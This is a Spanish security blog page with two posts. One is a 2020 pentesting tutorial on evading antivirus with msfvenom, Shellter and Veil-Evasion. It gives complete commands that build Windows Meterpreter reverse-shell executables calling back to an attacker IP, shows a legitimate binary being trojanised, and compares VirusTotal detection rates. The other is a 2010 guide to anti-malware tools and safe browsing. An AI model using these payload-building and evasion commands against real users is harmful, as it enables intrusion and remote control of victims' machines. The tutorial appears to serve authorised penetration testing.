Páginas

Mostrando entradas con la etiqueta Antimalware. Mostrar todas las entradas
Mostrando entradas con la etiqueta Antimalware. Mostrar todas las entradas

16 julio, 2020

Shellter y Veil-Evasion: Evasión de antivirus ocultando shellcodes de binarios

Hay diversas técnicas para establecer una sesión hacia una máquina remota. Una de ellas es la generación de un fichero binario que sea ejecutado por la víctima, este binario tendrá un payload configurado que nos proporcionará una shell remota estableciendo una conexión directa o inversa hacia el equipo de la víctima, consiguiendo así una sesión en el mismo contexto de integridad del usuario que ejecutó el binario.

Se trata de un tipo de ataque client-side donde será el usuario final quien interactúe ejecutando el fichero malicioso. La forma de envío de estos ejecutables hacia la máquina remota sin tener una sesión previa puede ser de muchas formas: En el caso de tener acceso físico a la organización distribuir unidades externas usb con el binario esperando que alguien lo ejecute o envío de emails en el que se adjunte el fichero o un hipervínculo que redirige a una web externa donde se descargará (esto suele ser muy habitual). 

El principal "inconveniente" que nos encontramos como pentesters a la hora de ejecutar este método es que estos binarios ya sea por su contenido, sus firmas, morfología, etc. es probable que sea detectado y bloqueado por los fabricantes de antivirus o antimalware. 

Una forma de eludir binarios para evitar ser detectados es aplicar una capa de ocultación en su payload. Los encoders es una opción pero no suelen ser efectivos, sin embargo existen herramientas como Shellter y Veil-Evasión que generan sus propios payloads predefinidos utilizando crypters entre otras técnicas de ofuscación y que los hacen menos detectables para los sistemas de antivirus.

Comparativa de detección por antivirus de binarios con payloads maliciosos

msfvenom

msfvenom se trata de una herramienta que combina msfpayload para la generación de payloads y msfencode para la "ocultación" de payloads. 

Podemos generar binarios de forma sencilla estableciendo una serie de parámetros como puede ser la dirección IP y puerto a la que se conectará la máquina remota cuando ejecute el binario, tipo de arquitectura, payload, enconder (por defecto usará shikata_ga_nai) y caracteres de escape que puedan ocasionar algún tipo de error en la generación del binario.

Para generar un payload que establezca una conexión inversa con un Meterpreter y que sea compatible con sistemas Windows de arquitecturas x86 de 32 bits. 
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.19 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe > shell.exe
Generar binario malicioso payload meterpreter con msfvenom.
Figura 1: Generar binario malicioso payload meterpreter con msfvenom.

En virustotal.com podemos analizar en varios motores de antivirus el binario generado con msfvenom y conocer que antivirus lo detectan como malicioso y cuales no. Como se ve en la captura ha sido analizado por 71 antivirus de los cuales lo han detectado 56.

Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom.
Figura 2: Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom.


Shellter Framework

Shellter Framework se trata de una herramienta/framework con la que podemos elegir unos binarios preestablecidos ubicados en /usr/share/windows-binaries el que escojamos se le añadirá un payload con utilizando crypters dificultando así la detección por los antivirus.

Ejecutamos Shellter e indicamos el binario, en este caso vncviewer.exe.

Shellter - Seleccionar binario vncviewer.exe
Figura 3: Shellter - Seleccionar binario vncviewer.exe.

Seleccionamos el tipo de payload ya predefinidos para aplicar en el binario anterior y una IP y puerto local de la máquina atacante para establecer la conexión con la máquina remota cuando ejecute el binario.

Shellter - Seleccionar y configurar payload en el binario vncviewer.exe
Figura 4: Shellter - Seleccionar y configurar payload en el binario vncviewer.exe.

Una vez generado el binario por Shellter comprobamos la detección en virustotal. En este ocasión vemos como el mismo tipo de payload ha sido detectado por 22 antivirus de un total de 69.

Detección del binario malicioso generado con Shellter en VirusTotal.com
Figura 5: Detección del binario malicioso generado con Shellter en VirusTotal.com.


Veil-Evasion Framework

Veil-Evasion Framework se trata de otra alternativa a Shellter. Con la misma idea dispone de una gran cantidad de payload predefinidos en diversos lenguajes, no es necesario escoger un binario como en el caso de Shellter podemos generar nuestro propio binario aplicando el payload que queramos.

Ejecutamos el Veil-Evasion Framework, con use 1 elegimos la modalidad de Evasion, listamos los payloads disponibles con list.

Veil-Framework - Seleccionar tipo y lista de payloads disponibles
Figura 6: Veil-Framework - Seleccionar tipo y lista de payloads disponibles.

Como ejemplo desde la lista seleccionamos el número que corresponde al payload "go/meterpreter/rev_tcp". Con set LHOST y set LPORT establecemos la dirección IP y puerto local a la que se conectará la máquina remota y generamos el binario con generate.

Veil-Framework - Configurar payload y generar binario.
Figura 7: Veil-Framework - Configurar payload y generar binario.

También podemos generar estos binarios de forma no interactiva sin necesidad de interactuar ni ejecutar el framework completamente. Siguiendo el ejemplo anterior sería algo así.
./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 10.0.0.19 --port 4444 -o shell2
Figura 8: Veil-Framework CLI - Configurar y generar binario en una sola línea de instrucción.

Finalmente subimos este binario para analizarlo en virustotal y compararlo con Shellter. La detección de antivirus es de 43 de 70. Aunque es cierto que se trata de otro tipo de payload, la detección es más elevada que en el caso de Shellter.

Detección del binario malicioso generado con Veil-Framework en VirusTotal.com
Figura 9: Detección del binario malicioso generado con Veil-Framework en VirusTotal.com.

Conclusiones

Vistas las comparativas de detección, msfvenom quedaría descartado y Shellter se colocaría en una mejor posición respecto a Veil-Evasion. 

Lógicamente esto no evita el ser detectados pero se trata de una técnica más que podemos aplicar de forma rápida y sencilla para evitar que nuestro binario con una shellcode sea detectado por un número determinado de antivirus pudiendo así facilitar una intrusión a un sistema de forma directa tipo client-side en un ejercicio de penteting.

Saludos!

03 abril, 2010

Herramientas, consejos y recomendaciones para Anti-Malware y Anti-Spyware

Esta es un guía con 6 útiles herramientas para intentar tener el sistema totalmente libre de cualquier tipo de malware.

Utilizar AntiVirus/AntiMalwre

Actualiza tu antivirus residente y realiza un análisis completos o programa los antimalware para que los realicen periodicamente.

Antivirus online u otro que no sea el residente en el sistema


Por último debemos realizar un análisis online o desde otro antivirus que no sea el que tengamos instalado en el sistema, para obtener una segunda opinión y asegurarnos completamente de que el equipo esté "limpio".


Para realizar análisis de ficheros concretos o URLs de sitios web en los que podemos tener sospechas, podremos utilizar virustotal.com. Este nos realiza un escaneo por numerosos motores de antivirus/antimalware y la final del proceso muestra un informe de los resultados de cada uno de ellos. 


Otra opción sería Metascan-Online.com con el que podemos analizar ficheros Online en 18 antivirus a la vez. 

Un antivirus externo: NOD32 online de ESET es un antivirus online que, además de analizar el sistema elimina posibles amenazas encontradas. 

Antivirus Online:
http://www.pandasecurity.com/activescan/index/?track=1&Lang=es-ES&IdPais=62
http://www.eset-la.com/online-scanner
http://www.kaspersky.com/sp/virusscanner
http://www.bitdefender-es.com/scan8/ie.html
http://www.pandasoftware.com/activescan
http://housecall.trendmicro.com
http://us.mcafee.com/root/mfs/default.asp
http://www3.ca.com/securityadvisor/virusinfo/scan.aspx
http://www.freedom.net/viruscenter/onlineviruscheck.html

AntiSpyware Online:
http://www.trendmicro.com/spyware-scan
http://www.sunbelt-software.com/dell/scan.cfm
http://www.spywareguide.com/txt_onlinescan.html
http://www.webroot.com/consumer/products/spysweeper/freescan.html

¿Saber si un fichero contiene ulgún tipo de malware?
http://www.virustotal.com
http://virscan.org
http://www.filterbit.com
http://virusscan.jotti.org
http://www.kaspersky.com/remoteviruschk.html
http://www.fortiguardcenter.com/antivirus/virus_scanner.html

CD de Rescate
 

También se puede hacer uso de un "CD de rescate" como el de F-Secure - Rescue CD. Una guía de Rescue CD (D-Secure)

Analizar e intentar desinfectar el equipo con herramientas AntMalware/AntiSpyware


Las herramientas de escaneo de malware es recomendable hacerlo en un SafeMode (Modo a prueba de fallos de Windows).

RKill herramienta desarrollada por BleepingComputer que se encarga de detener los procesos de malwares conocidos y que, por lo general evitan que se puedan ejecutar herramientas antivirus para desinfectar el sistema. Esta técnica de “autoprotección” por parte del malware es muy común en el Rogue Software (Falsos Antivirus).

RKill está "camuflado" como iExplorer.exe (podemos confiar en esta tool). Para que el antivirus ya instalado en el equipo no lo interprete como un malware. Después de ejecutarlo, se abrirá una consola de Windows y se pondrá a escanear mostrándonos finalmente el resultado en un log de texto .txt. 


Cuando termine, se mostrará un archivo de registro que muestra los procesos que se dieron por terminados. Rkill no elimina esos procesos maliciosos ni otra parte del malware, solo los detiene.

Figura 1: Escaneo del sistema con Rkill.
   
Spybot - Search & Destroy herramienta con la que podrás realizar un análisis del sistema. Elimina diversas amenazas. Los propietarios de este software también ponen a disposición de los usuarios otras herramientas de seguridad y optimización del sistema.

Figura 2: Escaneo del sistema con Spybot - Search & Destroy.

Malwarebytes' Anti-Malware este software elimina una amplia variedad de programas maliciosos y es recomendado para la eliminación de rogues antimalware o falsos antivirus.

Figura 3: Escaneo del sistema con Malwarebytes' Anti-Malware

SUPERAntiSpyware Free edition analiza el sistema en busca de cualquier tipo de amenaza que pueda colarse en el sistema: spyware, dialers, troyanos, rootkits, gusanos, adware, malware, aplicaciones maliciosas, etc

Figura 4: Escano del sistema con SUPERAAntiSpyware Free.

Ad-Aware Free diseñada para eliminar todo tipo de Spywares/Adwares. Se actualiza de habitualmente para la detección nuevos Spywares.


Figura 5: Escaneo del sistema con Ad-Aware Free.

SpywareBlaster previene infecciones de spywares. No los elimina, simplemente deshabilita los controles ActiveX de los mas conocidos spywares.


Figura 6: Escaneo del sistema con SpywareBlaster.

HijackThis escanea el sistema intentando detectar spyware, browser Hijacker, malware u otro programa malicioso. Su uso requiere ciertos conocimientos para interpretar el log que genera. El log también puede ser analizado de forma automática, ideal para aquellos que quieren ahorrar tiempo interpretándolo o tienen dudas sobre qué borrar y qué no. Guía para la interpretación del log de HijackThis.

Figura 7: Analizando sistema con HijackThis.

AdwCleaner busca y elimina: adware, barras de herramientas de los navegadores (toolbars), programas potencialmente no deseados o indeseables (PUP/LPI - 'Potentially Unwanted Program or undesirables') y secuestradores de navegador como Hijackers los cuales entre otras cosas, capturan la página de inicio del navegador web y la cambian por otra de su interés.

Figura 8: Escaneando sistema con AdwCleaner.

Eliminar temporales y optimizar el registro

Para eso podemos descargar y utilizar el programa gratuito CCleaner. Escaneará todo el equipo y comprobará aquellas claves de registro que ya no son de uso para el sistema, la gran parte de software eliminado. También ficheros temporales de los navegadores web, cachés del sistema, etc.


Seguridad y privacidad en la nevagación web


Si utilizamos los navegadores más populares de hoy en día: Internet Explorer, Mozilla Firefox, Google Chrome, Opera o Safari. En su apartado de configuración podemos encontraremos parámetros para conseguir intentar estar un poco más seguros y sobre todo mantener nuestra privacidad. Todo lo que almacenamos en nuestro navegador web (contraseñas, datos de formularios, páginas web visitadas, etc.) serán almacenados también en nuestro equipo local en forma de cookies. En un análisis forense de nuestro sistema hay que tener en cuenta que toda esta información estaría accesible. Comentaré algunos consejos que nos ayudarán a mejorar nuestra privacidad almacenada en nuestro navegador web y el equipo informático local.

Desactivar o deshabilitar:

  • Recordar historial.
  • No recordar nada en la barra de direcciones.
  • No recordar credenciales en formularios de registro, así como no proporcionar datos personales en el perfil de usuario del sistema.
  • Bloquear ventanas emergentes (POP-UP).
  • Advertir cuando un sitio web desea instalar un complemento (podremos añadir excepciones si confiamos el sitio web).
  • Bloquear sitios reportados como no deseados, que no son de confianza o pueda ser una posible web falsificada no legítima (Phishing).
  • Intentar usar, si el website lo permite, protocolos criptográficos para la encriptación o cifrado de la comunicación de datos en red: SSL (Secure Sockets Layer) o TLS (Transport Layer Security). A trabés del protocolo HTTPS (Hypertext Transfer Protocol Secure).
Complementos para mantenernos seguros en navegadores web

Para el uso de HTTPS podemos utlizar complementos que nos ofrecen los navegadores web. Que permiten "forzar" el uso de HTTPS siempre que la página web lo use. Estas redireccionan el protocolo HTTP a HTTPS. HTTPS Finder, Force-TLS, HTTPS Everywhere para Firefox, KB SSL Enforcer para Chrome.

Sobre los complementos HTTPS Everywhere y HTTPS Finder ya había hablado en este blog sobre ellos.


Estos nos ayudará a prevenirnos de ataques Hijacking. Ya se hablara en este blog del complemento Firesheep.

NoScript es otro complemento para Firefox el cual muchos consultores de seguridad web lo aconsejan. Ya hablara sobre la importancia de NoScript.

Evitar infectarse lo menos posible con mensajes de correos electrónicos


La mayoría de malwares usan el correo electrónico para llegar a sus víctimas y así poder infectar sus equipos. Ya sea para técnicas de Phishing con webs falsas (Scam), hoax, ficheros (imágnes, vídeo, PDF, etc.) que puedan ejecutar código malintencionado explotando alguna vulnerabilidad del sistema o aplicación instalada en el equipo.de imágenes, PDF, etc, el correo basura (Spam).


Algunos consejos para minimizar el contagio de malware por correo:
  1. Confiar en el remitente del correo.
  2. Fijarse en la redacción, expresión del texto, faltas de ortografía o textos que desordenados.
  3. No abrir enlaces de correos de los que desconocemos su procedencia, sospechamos de que puedan ser engaños, etc.
  4. Si el correo procede de entidades bien conocidas que tienen su certificado de seguridad, comprobarlo. De forma que sepamos que es un correo legítimo. Servidores de correos como Gmail, Yahoo o Hotmail (Outlook Web), disponen de listas en los que ya clasifican y comprueban estos remitentes, mostrándole al usuario que recibe el correo con algún icono con un candado verde e indicando el tipo de cifrado.
  5. Intentar tener nuestro correo "limpio", con esto me refiero a que si nos registramos un sitio web automáticamente en los formularios de registros a parte del check para aceptar las políticas suele acompañarse de otro check para suscripciones por correo, intentar darnos cuenta de desactivar estos check si no queremos recibir correos masivos de sitios web que no nos interesen.
  6. Si recibimos un correo de nuestra entidad bancaria, por muy legítimo que lo veamos, si nos piden "cambio de contraseñas" nunca proporcionar nuestras credenciales a ninguna de estas páginas web, ya que serían phishing. Una entidad bancaria nunca nos pediría información de carácter sensible por correo ni por teléfono y menos nuestras credenciales.
  7. Sentido común. Hoy en día los correos de spam son sofisticados en su redacción pero si recibimos un correo de que nos a tocado un viaje o millones de euros, no caigamos en el engaño si sabemos que no nos inscribimos a ningún sorteo de ese tipo.
Evitar el Spyware:

Spyware o Software espía son aplicaciones que recopilan información sobre una persona u organización sin su conocimiento, ni consentimiento. El objetivo más común es distribuirlo a empresas publicitarias u otras organizaciones interesadas.
Algunas recomendaciones para evitar la instalación de este tipo de software:
  1. Verificar cuidadosamente los sitios por los que navega, ya que es muy común que estas aplicaciones auto-ofrezcan su instalación o que la misma sea ofrecida por empresas de dudosa reputación.
  2. Si es posible, leer atentamente las políticas de privacidad de estas aplicaciones. Generalmente incluyen puntos como "recolectamos la siguiente información del usuario" o "los daños que causa la aplicación no es nuestra responsabilidad" o "al instalar esta aplicación autorizas que entreguemos sus datos a...".
  3. Estas aplicaciones normalmente prometen ser barras con funcionalidades extras que se instalan sobre el explorador.
  4. Actualmente, se nota una importante aparición de aplicaciones que simulan ser software anti-spyware que en realidad contiene spyware. Una lista de los mismos puede ser encontrada en la dirección que se detalla al pie del presente.
  5. Cuando una aplicación intente instalarse sin que lo hayas solicitado, desconfíe y verifique la lista anterior.
  6. Es común que los sitios dedicados al underground o pornográficos, contengan un alto contenido de programas dañinos que explotando diversas vulnerabilidades del sistema operativo o del explorador, le permiten instalarse.
  7. Verificar los privilegios de usuarios. Es común que todos los usuarios que hacen uso del PC lo hagan con permisos administrativos. Esto no necesariamente debe ser así, es recomendable que cada usuario tenga su propio perfil, sólo con los permisos necesarios para realizar sus tareas y no estar logeado como root del sistema. Ya que esto disminuye el campo de acción de un posible intruso (virus, backdoor, usuario no autorizado, etc.).
  8. Estas aplicaciones evolucionan continuamente por lo que contar con un antivirus actualizado y con capacidades proactivas es fundamental para detectar estas aplicaciones y evitar su instalación.
Actualizaciones, Firwall, copias de seguridad, GPOs y gestión de usuarios:

Un equipo informático se hace más susceptible de infectarse por cualquier tipo de malware cuanto más desactualizado que esté. El sistema operativo y las aplicaciones de terceros tienen fallos de seguridad, los cuales son explotados por el malware. 


Por eso es muy muy importante, tener el sistema actualizado a su última versión al igual que todas las aplicaciones que este tiene instaladas. Si se trata de software de terceros disponer de la versión original y legal, no utilizar cracks o parches para activar los productos ya que la gran mayoría de estos cracks a parte de activarte el programa (que no siempre lo hacen) están regalándote un fantástico malware en tu equipo.

Activar si o si el Firewall. Si somos usuarios "normales", de andar por casa, el firewall de nuestro sistema sea el que sea lo mantendremos siempre activado. 

La función de un Firewall dicho a groso modo sería la de "Permitir y/o denegar acceso de aplicaciones u otros (mediante puertos) al equipo local". Esto evitará dejar todos nuestros puertos abiertos, con esto lo que conseguiremos es darle acceso al sistema de forma más fácil a los malos. Es como si un ladrón quiere robar en tu casa y tu le dejas la puerta abierta mientras tu no estás. 

Hacer copias de seguridad del sistema periódicamente. En el caso de catástrofe, sea la quesea, poder restaurar el sistema e una copia de seguridad que sabemos que es estable. 

Revisar las políticas de usuarios y grupos (GPOs) a través de la consola gpedit.msc. Podría hablar mucho sobre este punto, pero no quiero alargar más esta entrada, simplemente echar un vistazo, leerlas y habilitar o deshabilitar cada una de las políticas de nuestro sistema podríamos estar un peldaño más seguros. 

Y uno de los puntos que considero más importante, es la correcta gestión correcta de usuarios locales del sistema. Podemos tener el sistema muy securizado, con filtros en el firewall específicos, configuraciones del sistema avanzadas personalizadas, todo el sistema actualizado y sus aplicaciones una buena plantilla de políticas de usuarios y grupos bien establecida. Pero realmente si no configuramos correctamente los usuarios estamos igualmente expuesto a la ejecución de amenazas y digo ejecución por que precisamente eso es lo que permite a un malware ejecutarse o no en nuestro equipo: El usuario del sistema que estemos usando. 

Por defecto la cuenta de administrador local a partir de Windows Vista viene desactivada por seguridad. La mayoría de usuarios suelen activarla y trabajar con esta cuenta en el sistema para su funcionamiento cotidiano y no debería ser así. El usuario administrador está para administrar el sistema no para abrir correos, navegar por internet, descargar ficheros de internet, etc. Para eso está el usuario raso. Un usuario raso es cualquier usuario que se cree por defecto el sistema que no sea administrador ni tampoco usuario invitado, es decir, que forma parte del grupo de usuarios del sistema. Un usuario raso te permitirá hacer lo mismo que el usuario administrador en cuanto a trabajos cotidianos en nuestro sistema, solo en el caso de instalar algún software o cambiar configuraciones del sistema usaremos el usuario administrador. A partir de Windows 7 existe un mecanismo fabuloso llamado UAC (User Account Control o Control de cuentas de usuario) este nos permite desde una sesión de un usuario raso ejecutar una operación de privilegios elevados a través de una ventana de credenciales en las que nos podemos autenticar con un usuario administrador y solamente en esa instancia estará ejecutándose la cuenta de administrador a la par que la sesión de usuario sigue activa. 

Concluyendo... deja el usuario administrador-system que viene deshabilitado por el sistema: deshabilitado. Crea un usuario administrador manualmente, que pertenezca al grupo administradores y así hacer con este usuario tareas administrativas de privilegios elevados en el sistema. Crea otro usuario que pertenezca al grupo de usuarios locales y se este el que utilices de forma habitual.

Saludos!

Entradas Populares